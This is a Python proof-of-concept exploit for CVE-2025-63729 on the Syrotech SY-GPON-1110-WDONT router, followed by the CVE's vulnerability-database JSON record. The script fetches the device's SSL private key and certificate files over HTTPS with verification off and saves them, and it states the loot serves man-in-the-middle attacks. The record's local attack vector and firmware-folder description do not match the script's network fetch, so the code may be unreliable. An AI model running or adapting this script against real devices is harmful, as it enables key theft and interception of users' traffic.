CVE-2025-63729

# CVE-2025-63729 PoC - Syrotech GPON Certificate Extraction # Target: Syrotech SY-GPON-1110-WDONT (Firmware: SYRO_3.7L_3.1.02-240517) # Vulnerability: Unprotected access to SSL private keys and certificates import requests import os import sys TARGET_IP = "192.168.1.1" # Target GPON device IP TARGET_PORT = 443 def exploit_cve_2025_63729(): """ Exploit for CVE-2025-63729: Extract SSL certificates and private keys from Syrotech SY-GPON-1110-WDONT device """ print(f"[*] Targeting {TARGET_IP}:{TARGET_PORT}") print(f"[*] Exploiting CVE-2025-63729...") # Sensitive files to extract from /etc folder sensitive_files = [ "/etc/ssl/private/server.key", # SSL Private Key "/etc/ssl/certs/ca.crt", # CA Certificate "/etc/ssl/certs/server.crt", # SSL Certificate "/etc/ssl/certs/client.crt", # Client Certificate ] extracted_files = [] for file_path in sensitive_files: try: # Attempt to download sensitive certificate files url = f"https://{TARGET_IP}:{TARGET_PORT}{file_path}" response = requests.get(url, verify=False, timeout=10) if response.status_code == 200 and ".pem" in response.text: filename = os.path.basename(file_path) with open(filename, 'w') as f: f.write(response.text) extracted_files.append(filename) print(f"[+] Extracted: {filename}") except Exception as e: print(f"[-] Failed to extract {file_path}: {e}") if extracted_files: print(f"\n[!] Successfully extracted {len(extracted_files)} certificate files") print("[!] These credentials can be used for MITM attacks") else: print("[-] No certificates extracted") return extracted_files if __name__ == "__main__": exploit_cve_2025_63729()

{"cve": {"id": "CVE-2025-63729", "sourceIdentifier": "[email protected]", "published": "2025-11-25T17:15:50.243", "lastModified": "2025-12-30T17:17:23.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Syrotech SY-GPON-1110-WDONT SYRO_3.7L_3.1.02-240517 allowing attackers to exctract the SSL Private Key, CA Certificate, SSL Certificate, and Client Certificates in .pem format in firmware in etc folder."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 5.8}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-312"}, {"lang": "en", "value": "CWE-532"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:syrotech:sy-gpon-1110-wdont_firmware:3.1.02-240517:*:*:*:*:*:*:*", "matchCriteriaId": "777C17CC-02C8-45BA-8793-5EB4FCF3EA73"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:syrotech:sy-gpon-1110-wdont:3.7l:*:*:*:*:*:*:*", "matchCriteriaId": "3B513916-75EF-43D3-9C16-44DA82E68592"}]}]}], "references": [{"url": "https://github.com/Yashodhanvivek/CVE-2025-63729-Syrotech-SY-GPON-1110-/blob/main/Syrotech_SY-GPON-1110-WDONT_Security_Assessment.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}